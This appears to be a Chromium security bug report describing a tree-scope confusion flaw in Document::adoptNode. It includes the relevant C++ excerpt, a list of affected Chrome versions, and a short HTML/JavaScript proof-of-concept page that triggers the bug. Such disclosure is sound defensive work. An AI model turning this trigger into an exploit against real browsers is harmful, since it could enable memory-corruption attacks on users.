Reported by mailto:[email protected], Oct 8 2015
From /third_party/WebKit/Source/core/dom/Document.cpp
:
PassRefPtrWillBeRawPtr<Node> Document::adoptNode(PassRefPtrWillBeRawPtr<Node> source, ExceptionState& exceptionState)
{
EventQueueScope scope;
switch (source->nodeType()) {
(...)
default:
(...)
if (source->parentNode()) {
source->parentNode()->removeChild(source.get(), exceptionState);
if (exceptionState.hadException())
return nullptr;
}
}
this->adoptIfNeeded(*source);
return source;
}
This code expects that removeChild(source.get(), exceptionState)
will either detach the source node or throw an exception if it can't be done. However, the child can be reattached immediately after removal (through HTMLScriptElement::childrenChanged
) if the parent node is a pending script whose type has recently changed to valid. In such case, ContainerNode::removeChild
doesn't throw any exception. Consequently, the adopted node will end up in a wrong tree scope, which may lead to GC crashes and inconsistent frame states.
Chrome 45.0.2454.101 (Stable) Chrome 46.0.2490.64 (Beta) Chrome 47.0.2526.5 (Dev) Chromium 48.0.2531.0 (Release build compiled today)
<!DOCTYPE html>
<html>
<body>
<script>
var s = document.createElement('script');
s.type = '0';
s.textContent = 's.appendChild(x)';
document.documentElement.appendChild(s);
var x = document.createElement('x');
s.appendChild(x);
s.type = '';
var i = document.documentElement.appendChild(document.createElement('iframe'));
i.contentDocument.adoptNode(x);
alert(x.ownerDocument === x.parentNode.ownerDocument);
</script>
</body>
</html>
Link: https://bugs.chromium.org/p/chromium/issues/detail?id=541206